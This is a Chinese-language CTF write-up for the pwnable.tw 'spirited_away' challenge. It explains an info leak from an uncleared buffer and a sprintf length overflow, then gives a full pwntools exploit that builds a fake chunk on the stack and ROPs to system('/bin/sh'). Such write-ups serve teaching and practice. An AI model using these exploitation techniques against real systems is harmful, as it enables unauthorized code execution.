Contents
  1. 1. spirited_away
    1. 1.1. 分析
    2. 1.2. exp

spirited_away

分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

比较明显的漏洞就是reason未清零,可以进行地址泄露

另一个漏洞还是挺巧妙的,在sprintf

1
2
3
sprintf(&v1, "%d comment so far. We will review them as soon as we can", cnt);
char v1; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]

v1和nbytes之间的距离是0x38

1
2
3
4
5
6
7
$ python
>>> length = len("1 comment so far. We will review them as soon as we can")
>>> print hex(length)
0x37
>>> length = len("11 comment so far. We will review them as soon as we can")
>>> print hex(length)
0x38

也就是说 cn >= 100 时,就可以溢出到 nbytes 为”n”即 0x6e,可以对name comment读取造成溢出

  1. 通过打印reason泄露出stack和libc地址

  2. 在reason处伪造chunk,然后comment溢出可以覆盖name,伪造name指针指向reason+0x10,这样free后再次malloc到reason。注意伪造的chunk的合法性。

  3. 再次写name,即写到reason处,溢出rop

(很烦的是,接收的时候粘连,到10的时候还要部分发送

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./spirited_away"
ip = "chall.pwnable.tw"
port = 10204
elf = ELF(binary)

def sname(name):
io.sendlineafter("name: ", name)

def sage(age):
io.sendlineafter("age: ", str(age))

def sreason(reason):
io.sendafter("movie? ", reason)

def scomment(comment):
io.sendafter("your comment: ", comment)

def again(choice):
io.sendlineafter("leave another comment? <y/n>: ", choice)

def all(n, a, rs, com, ch, r=False):
sname(n)
sage(a)
sreason(rs)
scomment(com)
sleep(0.1)
if r:
gdb.attach(io)
again(ch)

def all2(a, rs, ch, r=False):
sage(a)
sreason(rs)
if r:
gdb.attach(io)
again(ch)
# sleep(1)

def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = ELF("libc_32.so.6")

sname("kk")
sage(11)
sreason("x"*0x38)
scomment("aaaa")
io.recvuntil("x"*0x38)
stack_reason = u32(io.recv(4)) - 0x70
# profile_addr = u32(io.recv(4)) # none _dl_runtime_profile
io.recv(4)
fflush_addr = u32(io.recv(4))
libc_base = fflush_addr - 0xb - libc.sym['fflush']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()
success("stack_reason = "+hex(stack_reason))
success("libc_base = " +hex(libc_base))
success("sys_addr = "+hex(sys_addr))
# gdb.attach(io)
again("y")

for i in range(9):
all("kk", 11, "xxxx", "aaaa", "y")

for i in range(90):
all2(11, "xxxx", "y")

reason = p32(0) + p32(0x41) + 'a'*0x38 + p32(0) + p32(0x11)
comment = 0x54*'b' + p32(stack_reason+0x8)
all("kk", 11, reason, comment, "y")


name = 'b'*0x4c + p32(sys_addr) + p32(0) + p32(binsh_addr)
all(name, 11, 'xxxx', 'aaaa', 'n')

success("stack_reason = "+hex(stack_reason))
success("libc_base = " +hex(libc_base))
success("sys_addr = "+hex(sys_addr))
io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)